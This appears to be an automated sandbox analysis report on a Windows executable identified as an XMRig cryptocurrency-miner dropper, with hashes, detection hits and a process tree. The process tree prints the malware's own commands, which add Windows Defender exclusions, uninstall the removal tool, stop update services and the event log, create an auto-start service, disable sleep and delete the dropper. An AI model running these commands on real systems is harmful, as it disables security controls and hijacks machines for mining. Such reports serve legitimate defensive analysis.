Analysis
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max time kernel
119s -
max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
19-12-2024 10:20
Static task
static1
Behavioral task
behavioral1
Sample
99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe
Resource
win7-20240903-en
General
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Target
99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe
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Size
5.6MB
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MD5
c7a525071e548783e341cbe40e581c60
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SHA1
804a59fc5772576ef652f9ea5221d2e2d9e0c487
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SHA256
99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbae
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SHA512
289b4b5ca0054c61ac2de2b0ce7ff840148e6878ef9ecca194fd014cae5073173cc2deda2b97922c077151a7d70caef0edca1621c9e3805327ebccea394d8d47
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2096-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2096-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2000 powershell.exe 2752 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1392 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 1344 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2112 powercfg.exe 2168 powercfg.exe 2364 powercfg.exe 1468 powercfg.exe 2128 powercfg.exe 1088 powercfg.exe 1640 powercfg.exe 2100 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1344 set thread context of 2372 1344 fqwofdtexigy.exe 84 PID 1344 set thread context of 2096 1344 fqwofdtexigy.exe 89 -
resource yara_rule behavioral1/memory/2096-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2096-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3032 sc.exe 668 sc.exe 2360 sc.exe 2612 sc.exe 2068 sc.exe 2648 sc.exe 1856 sc.exe 2720 sc.exe 2012 sc.exe 1872 sc.exe 2368 sc.exe 2548 sc.exe 2352 sc.exe 1740 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30a123beff51db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2752 powershell.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 2144 99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe 1344 fqwofdtexigy.exe 2000 powershell.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 1344 fqwofdtexigy.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe 2096 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2752 powershell.exe Token: SeShutdownPrivilege 1088 powercfg.exe Token: SeShutdownPrivilege 2128 powercfg.exe Token: SeShutdownPrivilege 1468 powercfg.exe Token: SeShutdownPrivilege 1640 powercfg.exe Token: SeDebugPrivilege 2000 powershell.exe Token: SeShutdownPrivilege 2100 powercfg.exe Token: SeShutdownPrivilege 2364 powercfg.exe Token: SeShutdownPrivilege 2112 powercfg.exe Token: SeShutdownPrivilege 2168 powercfg.exe Token: SeLockMemoryPrivilege 2096 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 1888 wrote to memory of 2564 1888 cmd.exe 38 PID 1888 wrote to memory of 2564 1888 cmd.exe 38 PID 1888 wrote to memory of 2564 1888 cmd.exe 38 PID 1392 wrote to memory of 2164 1392 cmd.exe 63 PID 1392 wrote to memory of 2164 1392 cmd.exe 63 PID 1392 wrote to memory of 2164 1392 cmd.exe 63 PID 2020 wrote to memory of 2828 2020 cmd.exe 71 PID 2020 wrote to memory of 2828 2020 cmd.exe 71 PID 2020 wrote to memory of 2828 2020 cmd.exe 71 PID 1344 wrote to memory of 2372 1344 fqwofdtexigy.exe 84 PID 1344 wrote to memory of 2372 1344 fqwofdtexigy.exe 84 PID 1344 wrote to memory of 2372 1344 fqwofdtexigy.exe 84 PID 1344 wrote to memory of 2372 1344 fqwofdtexigy.exe 84 PID 1344 wrote to memory of 2372 1344 fqwofdtexigy.exe 84 PID 1344 wrote to memory of 2372 1344 fqwofdtexigy.exe 84 PID 1344 wrote to memory of 2372 1344 fqwofdtexigy.exe 84 PID 1344 wrote to memory of 2372 1344 fqwofdtexigy.exe 84 PID 1344 wrote to memory of 2372 1344 fqwofdtexigy.exe 84 PID 1344 wrote to memory of 2096 1344 fqwofdtexigy.exe 89 PID 1344 wrote to memory of 2096 1344 fqwofdtexigy.exe 89 PID 1344 wrote to memory of 2096 1344 fqwofdtexigy.exe 89 PID 1344 wrote to memory of 2096 1344 fqwofdtexigy.exe 89 PID 1344 wrote to memory of 2096 1344 fqwofdtexigy.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe"C:\Users\Admin\AppData\Local\Temp\99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2144 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2752
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2564
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2720
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2548
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2612
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3032
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2012
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1468
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2128
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1088
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1640
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:1872
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2368
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:668
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:2068
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\99d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbaeN.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1392 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2164
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1344 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2828
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2352
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2648
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1740
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2360
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1856
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2100
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2112
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2168
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2364
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2372
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2096
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5c7a525071e548783e341cbe40e581c60
SHA1804a59fc5772576ef652f9ea5221d2e2d9e0c487
SHA25699d6cdb32293b794af32509a5b88f869efed99c6dd91d70b4e6facd6e683fbae
SHA512289b4b5ca0054c61ac2de2b0ce7ff840148e6878ef9ecca194fd014cae5073173cc2deda2b97922c077151a7d70caef0edca1621c9e3805327ebccea394d8d47